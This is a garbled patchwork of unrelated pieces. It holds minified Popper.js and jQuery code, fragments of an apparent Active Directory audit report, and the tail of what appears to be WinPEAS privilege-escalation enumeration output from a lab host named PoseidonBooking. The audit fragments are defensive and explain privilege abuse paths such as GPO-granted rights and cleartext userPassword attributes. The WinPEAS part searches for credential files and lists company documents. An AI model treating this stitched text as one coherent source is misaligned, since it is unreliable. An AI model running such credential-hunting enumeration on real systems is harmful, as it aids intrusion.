R=T[i];Object.keys(H).forEach((function(e){var t=[D,E].indexOf(e)>=0?1:-1,n=[j,E].indexOf(e)>=0?"y":"x";H[e]+=R[n]*t}))}return H}var G={placement:"bottom",modifiers:[],strategy:"absolute"};function J(){for(var e=arguments.length,t=new Array(e),n=0;n<e;n++)t[n]=arguments[n];return!t.some((function(e){return!(e&&"function"==typeof e.getBoundingClientRect)}))}function K(e){void 0===e&&(e={});var t=e,r=t.defaultModifiers,o=void 0===r?[]:r,i=t.defaultOptions,a=void 0===i?G:i;return function(e,t,r){void 0===r&&(r=a);var i,s,f={placement:"bottom",orderedModifiers:[],options:Object.assign({},G,a),modifiersData:{},elements:{reference:e,popper:t},attributes:{},styles:{}},c=[],p=!1,u={state:f,setOptions:function(r){var i="function"==typeof r?r(f.options):r;l(),f.options=Object.assign({},a,f.options,i),f.scrollParents={reference:n(e)?b(e):e.contextElement?b(e.contextElement):[],popper:b(t)};var s,p,d=function(e){var t=S(e);return R.reduce((function(e,n){return e.concat(t.filter((function(e){return e.phase===n})))}),[])}((s=[].concat(o,f.options.modifiers),p=s.reduce((function(e,t){var n=e[t.name];return e[t.name]=n?Object.assign({},n,t,{options:Object.assign({},n.options,t.options),data:Object.assign({},n.data,t.data)}):t,e}),{}),Object.keys(p).map((function(e){return p[e]}))));return f.orderedModifiers=d.filter((function(e){return e.enabled})),f.orderedModifiers.forEach((function(e){var t=e.name,n=e.options,r=void 0===n?{}:n,o=e.effect;if("function"==typeof o){var i=o({state:f,name:t,instance:u,options:r}),a=function(){};c.push(i||a)}})),u.update()},forceUpdate:function(){if(!p){var e=f.elements,t=e.reference,n=e.popper;if(J(t,n)){f.rects={reference:m(t,O(n),"fixed"===f.options.strategy),popper:v(n)},f.reset=!1,f.placement=f.options.placement,f.orderedModifiers.forEach((function(e){return f.modifiersData[e.name]=Object.assign({},e.data)}));for(var r=0;r<f.orderedModifiers.length;r++)if(!0!==f.reset){var o=f.orderedModifiers[r],i=o.fn,a=o.options,s=void 0===a?{}:a,c=o.name;"function"==typeof i&&(f=i({state:f,options:s,name:c,instance:u})||f)}else f.reset=!1,r=-1}}},update:(i=function(){return new Promise((function(e){u.forceUpdate(),e(f)}))},function(){return s||(s=new Promise((function(e){Promise.resolve().then((function(){s=void 0,e(i())}))}))),s}),destroy:function(){l(),p=!0}};if(!J(e,t))return u;function l(){c.forEach((function(e){return e()})),c=[]}return u.setOptions(r).then((function(e){!p&&r.onFirstUpdate&&r.onFirstUpdate(e)})),u}}var Q={passive:!0};var Z={name:"eventListeners",enabled:!0,phase:"write",fn:function(){},effect:function(e){var n=e.state,r=e.instance,o=e.options,i=o.scroll,a=void 0===i||i,s=o.resize,f=void 0===s||s,c=t(n.elements.popper),p=[].concat(n.scrollParents.reference,n.scrollParents.popper);return a&&p.forEach((function(e){e.addEventListener("scroll",r.update,Q)})),f&&c.addEventListener("resize",r.update,Q),function(){a&&p.forEach((function(e){e.removeEventListener("scroll",r.update,Q)})),f&&c.removeEventListener("resize",r.update,Q)}},data:{}};var $={n


_raw: !function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function e(t){return"function"==typeof t&&"number"!=typeof t.nodeType},y=function e(t){return null!=t&&t===t.window},v={type:!0,src:!0,noModule:!0};function m(e,t,n){var i,o=(t=t||r).createElement("script");if(o.text=e,n)for(i in v)n[i]&&(o[i]=n[i]);t.head.appendChild(o).parentNode.removeChild(o)}function x(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[c.call(e)]||"object":typeof e}var b="3.3.1",w=function(e,t){return new w.fn.init(e,t)},T=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;w.fn=w.prototype={jquery:"3.3.1",constructor:w,length:0,toArray:function(){return o.call(this)},get:function(e){return null==e?o.call(this):e<0?this[e+this.length]:this[e]},pushStack:function(e){var t=w.merge(this.constructor(),e);return t.prevObject=this,t},each:function(e){return w.each(this,e)},map:function(e){return this.pushStack(w.map(this,function(t,n){return e.call(t,n,t)}))},slice:function(){return this.pushStack(o.apply(this,arguments))},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.pushStack(n>=0&&n<t?[this[n]]:[])},end:function(){return this.prevObject||this.constructor()},push:s,sort:n.sort,splice:n.splice},w.extend=w.fn.extend=function(){var e,t,n,r,i,o,a=arguments[0]||{},s=1,u=arguments.length,l=!1;for("boolean"==typeof a&&(l=a,a=arguments[s]||{},s++),"object"==typeof a||g(a)||(a={}),s===u&&(a=this,s--);s<u;s++)if(null!=(e=arguments[s]))for(t in e)n=a[t],a!==(r=e[t])&&(l&&r&&(w.isPlainObject(r)||(i=Array.isArray(r)))?(i?(i=!1,o=n&&Array.isArray(n)?n:[]):o=n&&w.isPlainObject(n)?n:{},a[t]=w.extend(l,o,r)):void 0!==r&&(a[t]=r));return a},w.extend({expando:"jQuery"+("3.3.1"+Math.random()).replace(/\D/g,""),isReady:!0,error:function(e){throw new Error(e)},noop:function(){},isPlainObject:function(e){var t,n;return!(!e||"[object Object]"!==c.call(e))&&(!(t=i(e))||"function"==typeof(n=f.call(t,"constructor")&&t.constructor)&&p.call(n)===d)},isEmptyObject:function(e){var t;for(t in e)return!1;return!0},globalEval:function(e){m(e)},each:function(e,t){var n,r=0;if(C(e)){for(n=e.length;r<n;r++)if(!1===t.call(e[r],r,e[r]))break}else for(r in e)if(!1===t.call(e[r],r,e[r]))break;return e},trim:function(e){return null==e?"":(e+"").replace(T,"")},makeArray:function(e,t){var n=t||[];return null!=e&&(C(Object(e))?w.merge(n,"string"==typeof e?[e]:e):s.call(n,e)),n},inArray:function(e,t,n){return null==t?-1:u.call(t,e,n)},merge:function(e,t){for(var n=+t.length,r=0,i=e.length;r<n;r++)e[i++]=t[r];return e.length=i,e},grep:function(e,t,n){for(var r,i=[],o=0,a=e.length,s=!n;o<a;o++)(r=!t(e[o],o))!==s&&i.push(e[o]);return i},map:function(e,t,n){var r,i,o=0,s=[];if(C(e))for(r=e.length;o<r;o++)null!=(i=t(e[o],o,n))&&s.push(i);else for(o in e)null!=(i=t(e[o],o,n))&&s.push(i);return a.apply([],s)},guid:1,support:h}),"function"==typeof Symbol&&(w.fn[Symbol.iterator]=n[Symbol.iterator]),w.each("Boolean Number String Function Array Date RegExp Object Error Symbol".split(" "),function(e,t){l["[object "+t+"]"]=t.toLowerCase()});function C(e){var t=!!e&&"length"in e&&e.length,n=x(e);return!g(e)&&!y(e)&&("array"===n||0===t||"number"==typeof t&&t>0&&t-1 in e)}var E=function(e){var t,n,r,i,o,a,s,u,l,c,f,p,d,h,g,y,v,m,x,b="sizzle"+1*new Date,w=e.document,T=0,C=0,E=ae(),k=ae(),S=ae(),D=function(e,t){return e===t&&(f=!0),0},N={}.hasOwnProperty,A=[],j=A.pop,q=A.push,L=A.push,H=A.slice,O=function(e,t){for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},P="checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",M="[\\x20\\t\\r\\n\\f]",R="(?:\\\\.|[\\w-]|[^\0-\\xa0])+",I="\\["+M+"*("+R+")(?:"+M+"*([*^$|!~]?=)"+M+"*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|("+R+"))|)"+M+"*\\]",W=":("+R+")(?:\\((('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|((?:\\\\.|[^\\\\()[\\]]|"+I+")*)|.*)\\)|)",$=new RegExp(M+"+","g"),B=new RegExp("^"+M+"+|((?:^|[^\\\\])(?:\\\\.)*)"+M+"+$","g"),F=new RegExp("^"+M+"*,"+M+"*"),_=new RegExp("^"+M+"*([>+~]|"+M+")"+M+"*"),z=new RegExp("="+M+"*([^\\]'\"]*?)"+M+"*\\]","g"),X=new RegExp(W),U=new RegExp("^"+R+"$"),V={ID:new RegExp("^#("+R+")"),CLASS:new RegExp("^\\.("+R+")"),TAG:new RegExp("^("+R+"|[*])"),ATTR:new RegExp("^"+I),PSEUDO:new RegExp("^"+W),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+P+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},G=/^(?:input|select|textarea|button)$/i,Y=/^h\d$/i,Q=/^[^{]+\{\s*\[native \w/,J=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,K=/[+~]/,Z=new RegExp("\\\\([\\da-f]{1,6}"+M+"?|("+M+")|.)","ig"),ee=function(e,t,n){var r="0x"+t-65536;return r!==r||n?t:r<0?String.fromCharCode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)},te=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ne=function(e,t){return t?"\0"===e?"\ufffd":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},re=function(){p()},ie=me(function(e){return!0===e.disabled&&("form"in e||"label"in e)},{dir:"parentNode",next:"legend"});try{L.apply(A=H.call(w.childNodes),w.childNodes),A[w.childNodes.length].nodeType}catch(e){L={apply:A.length?function(e,t){q.apply(e,H.call(t))}:function(e,t){var n=e.length,r=0;while(e[n++]=t[r++]);e.length=n-1}}}function oe(e,t,r,i){var o,s,l,c,f,h,v,m=t&&t.ownerDocument,T=t?t.nodeType:9;if(r=r||[],"string"!=typeof e||!e||1!==T&&9!==T&&11!==T)return r;if(!i&&((t?t.ownerDocument||t:w)!==d&&p(t),t=t||d,g)){if(11!==T&&(f=J.exec(e)))if(o=f[1]){if(9===T){if(!(l=t.getElementById(o)))return r;if(l.id===o)return r.push(l),r}else if(m&&(l=m.getElementById(o))&&x(t,l)&&l.id===o)return r.push(l),r}else{if(f[2])return L.apply(r,t.getElementsByTagName(e)),r;if((o=f[3])&&n.getElementsByClassName&&t.getElementsByClassName)return L.apply(r,t.getElementsByClassName(o)),r}if(n.qsa&&!S[e+" "]&&(!y||!y.test(e))){if(1!==T)m=t,v=e;else if("object"!==t.nodeName.toLowerCase()){(c=t.getAttribute("id"))?c=c.replace(te,ne):t.setAttribute("id",c=b),s=(h=a(e)).length;while(s--)h[s]="#"+c+" "+ve(h[s]);v=h.join(","),m=K.test(e)&&ge(t.parentNode)||t}if(v)try{return L.apply(r,m.querySelectorAll(v)),r}catch(e){}finally{c===b&&t.removeAttribute("id")}}}return u(e.replace(B,"$1"),t,r,i)}function ae(){var e=[];function t(n,i){return e.push(n+" ")>r.cacheLength&&delete t[e.shift()],t[n+" "]=i}return t}function se(e){return e[b]=!0,e}function ue(e){var t=d.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function le(e,t){var n=e.split("|"),i=n.length;while(i--)r.attrHandle[n[i]]=t}function ce(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)while(n=n.nextSibling)if(n===t)return-1;return e?1:-1}function fe(e){return function(t){return"input"===t.nodeName.toLowerCase()&&t.type===e}}function pe(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function de(e){return function(t){return"form"in t?t.parentNode&&!1===t.disabled?"label"in t?"label"in t.parentNode?t.parentNode.disabled===e:t.disabled===e:t.isDisabled===e||t.isDisabled!==!e&&ie(t)===e:t.disabled===e:"label"in t&&t.disabled===e}}function he(e){return se(function(t){return t=+t,se(function(n,r){var i,o=e([],n.length,t),a=o.length;while(a--)n[i=o[a]]&&(n[i]=!(r[i]=n[i]))})})}function ge(e){return e&&"undefined"!=typeof e.getElementsByTagName&&e}n=oe.support={},o=oe.isXML=function(e){var t=e&&(e.ownerDocument||e).documentElement;return!!t&&"HTML"!==t.nodeName},p=oe.setDocument=function(e){var t,i,a=e?e.ownerDocument||e:w;return a!==d&&9===a.nodeType&&a.documentElement?(d=a,h=d.documentElement,g=!o(d),w!==d&&(i=d.defaultView)&&i.top!==i&&(i.addEventListener?i.addEventListener("unload",re,!1):i.attachEvent&&i.attachEvent("onunload",re)),n.attributes=ue(function(e){return e.className="i",!e.getAttribute("className")}),n.getElementsByTagName=ue(function(e){return e.appendChild(d.createComment("")),!e.getElementsByTagName("*").length}),n.getElementsByClassName=Q.test(d.getElementsByClassName),n.getById=ue(function(e){return h.appendChild(e).id=b,!d.getElementsByName||!d.getElementsByName(b).length}),n.getById?(r.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){return e.getAttribute("id")===t}},r.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&g){var n=t.getElementById(e);return n?[n]:[]}}):(r.filter.ID=function(e){var t=e.replace(Z,ee);return function(e){var n="undefined"!=typeof e.getAttributeNode&&e.getAttributeNode("id");return n&&n.value===t}},r.find.ID=function(e,t){if("undefined"!=typeof t.getElementById&&g){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];i=t.getElementsByName(e),r=0;while(o=i[r++])if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),r.find.TAG=n.getElementsByTagName?function(e,t){return"undefined"!=typeof t.getElementsByTagName?t.getElementsByTagName(e):n.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){while(n=o[i++])1===n.nodeType&&r.push(n);return r}return o},r.find.CLASS=n.getElementsByClassName&&function(e,t){if("undefined"!=typeof t.getElementsByClassName&&g)return t.getElementsByClassName(e)},v=[],y=[],(n.qsa=Q.test(d.querySelectorAll))&&(ue(function(e){h.appendChild(e).innerHTML="<select id=


_raw: /*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */


_raw: GPO Name	Name	Active	Direction	Action	Application	Remote IP


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Firewall Rules">


_raw: Firewall rules may be managed through Group Policy Objects (GPO). This setting is located under Computer Configuration / Policies Windows Settings / Security Settings / Windows Defender Firewall with Advanced Security.


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Defender ASR">


_raw:
Microsoft Defender is the default Antivirus shipped with Windows. There are many alternatives, but if a computer is installed without an antivirus, it will be enabled by default.

A set of mitigation named ASR (attack surface reduction) can be enabled, even on non premium version of Windows Defender. Some protections are available since Windows 10 1710 and even Windows 2012 R2. See https://learn.microsoft.com/en-us/defender-endpoint/attack-surface-reduction-rules-reference?view=o365-worldwide for more information.

To enable a mitigation, enable the GPO "Configure Attack Surface Redurction rules" in Computer Configuration / Policies / Administrative Templates / Windows Components / Windows Defender Antivirus / Windows Defender Exploit Guard / Attack Surface Reduction. After having Enabled the setting, click on Set the state for each ASR rule. Add the GUID of the mitigation as Value name and set 1 as Value to enforce the Block mode. Example for Block JavaScript or VBScript from launching downloaded executable content: d3e037e1-3eb8-44c8-a917-57927947596d. The other values are: 2 for Audit and 6 for Warn.


_raw: Microsoft Defender ASR (attack surface reduction)


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Folder Options">


_raw:
File associations may be managed through Group Policy Objects (GPO) by navigating to "Folder Options". This setting is located under Computer Configuration / Preferences / Control Panel Settings / Folders Options in the GPO.

This method serves as an effective countermeasure against script execution from phishing emails by setting Notepad as the default program for opening script files, rather than the script engine. The script extensions that can be reconfigured include: .js, .jse, .vbs, .vbe, .vb, .wsh, and .wsf. Specifically, JavaScript files with extensions .js and .jse can be safely altered to open with Notepad. Other file extensions may have an impact and needs to be assessed before being configured.


_raw: A GPO can be used to deploy applications or copy files. These files may be controlled by a third party to control the execution of local programs.


_raw: A GPO login script is a way to force the execution of data on behalf of users. Only enabled users are analyzed.


_raw:
Default Domain Controllers Policy 	Log on as a batch job 	BUILTIN\IIS_IUSRS

Default Domain Controllers Policy 	Log on as a batch job 	BUILTIN\Performance Log Users

Default Domain Controllers Policy 	Log on as a batch job 	BUILTIN\Backup Operators

Default Domain Controllers Policy 	Log on as a batch job 	Administrators

Default Domain Controllers Policy 	Allow log on locally 	NT AUTHORITY\ENTERPRISE DOMAIN CONTROLLERS

Default Domain Controllers Policy 	Allow log on locally 	BUILTIN\Print Operators

Default Domain Controllers Policy 	Allow log on locally 	BUILTIN\Server Operators

Default Domain Controllers Policy 	Allow log on locally 	BUILTIN\Account Operators

Default Domain Controllers Policy 	Allow log on locally 	BUILTIN\Backup Operators

Default Domain Controllers Policy 	Allow log on locally 	Administrators

Default Domain Controllers Policy 	Allow log on locally 	APT\Guest

Default Domain Controllers Policy 	Access this computer from the network 	BUILTIN\Pre-Windows 2000 Compatible Access

Default Domain Controllers Policy <i class="info-mark d-print-none has-tooltip" data-bs-placement="bottom" data1-bs-toggle="tooltip" data-bs-template="
<di


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Login list">


_raw: Login authorization and restriction can be set by GPOs. Indeed, by default, everyone is allowed to login on every computer except domain controllers. Defining login restriction is a way to have different isolated tiers. Here are the settings found in GPOs.


_raw:
Default Domain Controllers Policy 	SeAssignPrimaryTokenPrivilege	NT AUTHORITY\NETWORK SERVICE

Default Domain Controllers Policy 	SeAssignPrimaryTokenPrivilege	NT AUTHORITY\LOCAL SERVICE

Default Domain Controllers Policy 	SeBackupPrivilege	BUILTIN\Server Operators

Default Domain Controllers Policy 	SeBackupPrivilege	BUILTIN\Backup Operators

Default Domain Controllers Policy 	SeBackupPrivilege	Administrators

Default Domain Controllers Policy 	SeDebugPrivilege	Users

Default Domain Controllers Policy 	SeDebugPrivilege	Administrators

Default Domain Controllers Policy 	SeLoadDriverPrivilege	BUILTIN\Print Operators

Default Domain Controllers Policy 	SeLoadDriverPrivilege	Administrators

Default Domain Controllers Policy 	SeMachineAccountPrivilege	Authenticated Users

Default Domain Controllers Policy 	SeRestorePrivilege	BUILTIN\Server Operators

Default Domain Controllers Policy 	SeRestorePrivilege	BUILTIN\Backup Operators

Default Domain Controllers Policy 	SeRestorePrivilege	Administrators

Default Domain Controllers Policy 	SeSecurityPrivilege	Administrators

Default Domain Controllers Policy 	SeTakeOwnershipPrivilege	Administrators

Default Domain Controllers Policy <i class="info-mark d-print-none has-tooltip" data-bs-placement="bottom" data1-bs-toggle="tooltip" data-bs-template="

"  data-bs-html="true"  title="" data-bs-ori


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Privileges list">


_raw:
Giving privileges in a GPO is a way to become administrator without being part of a group.
For example, SeTcbPriviledge gives the right to act as SYSTEM, which has more privileges than the administrator account.


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Audit settings list">


_raw:
Audit settings allow the system to generate logs which are useful to detect intrusions. Here are the settings found in GPO.

Simple audit events are described here and Advanced audit events are described here

You can get a list of all audit settings with the command line: auditpol.exe /get /category:* (source)

Simple audit settings are located in: Computer Configuration / Policies / Windows Settings / Security Settings / Local Policies / Audit Policy. Simple audit settings are named [Simple Audit].

Advanced audit settings are located in: Computer Configuration / Policies / Windows Settings / Security Settings / Advanced Audit Policy Configuration. This category is displayed below.


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Security settings list">


_raw:
A GPO can be used to deploy security settings to workstations.
The best practice out of the default security baseline is reported in green.
The following settings in red are unsual and may need to be reviewed.
Each setting is accompanied with its value and a link to the GPO explanation.

You will find below the checks where no occurences have been found


_raw:
Giving local group membership in a GPO is a way to become administrator.
The local admin of a domain controller can become domain administrator instantly.


_raw: The password in GPO are obfuscated, not encrypted. Consider any passwords listed here as compromised and change them immediately.


_raw: This section focuses on security settings stored in the Active Directory technical security policies.


_raw: <div class="card-body collapse show" id="panelsectionGPO">


_raw: Policy Name	Screensaver enforced	Password request	Start after (seconds)	Grace Period (seconds)


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Screensaver policies list">


_raw: This is the settings related to screensavers stored in Group Policies. Each non compliant setting is written in red.


_raw: <!-- SubSection Screensaver policies -->


_raw: Default Domain Policy 	True	60 day(s)	0 day	5	0	True	10	Infinite	Infinite


_raw: Policy Name	Complexity	Max Password Age	Min Password Age	Min Password Length	Password History	Reversible Encryption	Lockout Threshold	Lockout Duration	Reset account counter locker after


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Password policies list">


_raw:
Note: PSO (Password Settings Objects) will be visible only if the user, which collected the information, has the permission to view it.
PSO shown in the report will be prefixed by "PSO:"


_raw: <div class="card-body collapse show" id="panelsectionPasswordPolicies">


_raw: This section display advanced information, if any has been found


_raw: <table class="table table-striped table-bordered" data-toggle="table" data-pagination="true" data-search="true" data-show-export="true" data-page-list="[10,25,50,100,200,All]" aria-label="Logon script list">


_raw: You can check here for backdoors or typos in the scriptPath attribute


_raw: No active user account found with Java code


_raw: This is a vulnerability similar to the log4shell vulnerability.</p>


_raw: Indeed, these attributes are designed to add custom code to AD object when running java code. However it can be abused to run code on servers having the flag com.sun.jndi.ldap.object.trustURLCodebase set to true.


_raw: <p>This control detects if one of the attributes javaCodebase, javaFactory or javaClassname has been set on accounts.


_raw: <!-- SubSection Java code reference end -->


_raw: The userPassword attribute is also used in classic LDAP systems to change the user password by setting its value. But, with Active Directory, it is considered by default as a normal attribute and doesn't trigger a password but shows instead the password in clear text.


_raw: Indeed, these attributes are designed to store encrypted secrets for unix (or mainframe) interconnection. However in the large majority, interconnected systems are poorly designed and the user password is stored in these attributes in clear text or poorly encrypted.


_raw: <p>This control detects if one of the attributes userPassword or unixUserPassword has been set on accounts.


_raw: Indeed when an account belongs to a privileged group, the attribute admincount is set. If the attribute is set without being an official member, this is suspicious. To suppress this warning, the attribute admincount of these accounts should be removed after review.</p>


_raw: <p>This control detects accounts which are former 'unofficial' admins.


_raw: <!-- SubSection AdminSDHolder (detect temporary elevated accounts) end -->


_raw: AdminSDHolder (detect temporary elevated accounts)


_raw: Kerberos password last changed:  2025-11-05 09:16:25Z


_raw:
  ValidDate          : 11/4/2025 12:25:27 PM
  ExpiryDate         : 11/3/2035 1:25:27 PM
  HasPrivateKey      : True
  StoreLocation      : LocalMachine
  KeyExportable      : False
  Thumbprint         : 61711654AA478608C3CA4B4186A879DD8E7D20A1
   =================================================================================================
╔══════════╣ Searching known files that can contain creds in home
╚  https://book.hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/index.html#files-and-registry-credentials
╔══════════╣ Looking for documents --limit 100--
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Corporate_Communications\Templates\Press_Release_Template.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Corporate_Communications\Press_Releases\2025\Press_Release_2025-01_30C4.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Corporate_Communications\Press_Releases\2025\Press_Release_2025-02_4D9F.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Corporate_Communications\Press_Releases\2025\Press_Release_2025-03_3731.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Corporate_Communications\Press_Releases\2025\Press_Release_2025-04_BF41.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Corporate_Communications\Press_Releases\2025\Press_Release_2025-05_7752.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Corporate_Communications\Press_Releases\2025\Press_Release_2025-06_C188.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Corporate_Communications\Press_Releases\2025\Press_Release_2025-07_46E9.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Corporate_Communications\Press_Releases\2025\Press_Release_2025-08_F853.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Corporate_Communications\Press_Releases\2025\Press_Release_2025-09_9F07.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Corporate_Communications\Press_Releases\2025\Press_Release_2025-10_04DC.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Corporate_Communications\Press_Releases\2025\Press_Release_2025-11_CB3B.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Corporate_Communications\Press_Releases\2025\Press_Release_2025-12_5AF3.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Corporate_Communications\Press_Releases\2025\Press_Release_2025-13_5836.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Corporate_Communications\Press_Releases\2025\Press_Release_2025-14_E7D1.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Corporate_Communications\Press_Releases\2025\Press_Release_2025-15_641F.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Corporate_Communications\Press_Releases\2025\Press_Release_2025-16_4C06.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Corporate_Communications\Press_Releases\2025\Press_Release_2025-17_6F01.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Corporate_Communications\Press_Releases\2025\Press_Release_2025-18_0F52.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Corporate_Communications\Press_Releases\2025\Press_Release_2025-19_72A3.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Corporate_Communications\Press_Releases\2025\Press_Release_2025-20_0346.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Corporate_Communications\Press_Releases\2025\Press_Release_2025-21_80E5.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Corporate_Communications\Press_Releases\2025\Press_Release_2025-22_59FB.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Corporate_Communications\Press_Releases\2025\Press_Release_2025-23_10F9.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Corporate_Communications\Press_Releases\2025\Press_Release_2025-24_25C6.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Corporate_Communications\Press_Releases\2025\Press_Release_2025-25_1D34.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Corporate_Communications\Press_Releases\2025\Press_Release_2025-26_6837.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Corporate_Communications\Press_Releases\2025\Press_Release_2025-27_2090.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Corporate_Communications\Press_Releases\2025\Press_Release_2025-28_362E.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Corporate_Communications\Press_Releases\2025\Press_Release_2025-29_F2E8.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Corporate_Communications\Press_Releases\2025\Press_Release_2025-30_915F.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Corporate_Communications\Press_Releases\2025\Press_Release_2025-31_DC25.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Corporate_Communications\Press_Releases\2025\Press_Release_2025-32_F5D6.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Corporate_Communications\Press_Releases\2025\Press_Release_2025-33_A08D.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Corporate_Communications\Press_Releases\2025\Press_Release_2025-34_0E3A.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Corporate_Communications\Press_Releases\2025\Press_Release_2025-35_10DC.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Facilities\Templates\Maintenance_Request_Form.pdf    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Facilities\Maintenance_Requests\2025\Maintenance_Request_2025-01_312C.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Facilities\Maintenance_Requests\2025\Maintenance_Request_2025-02_FF2A.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Facilities\Maintenance_Requests\2025\Maintenance_Request_2025-03_770E.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Facilities\Maintenance_Requests\2025\Maintenance_Request_2025-04_F461.pdf
    C:\Users\All Users\PoseidonBooking\Galley\company_files\Operations\Facilities\Maintenance_Requests\2025\Maintenance_Request_2025-05_00EC.pdf
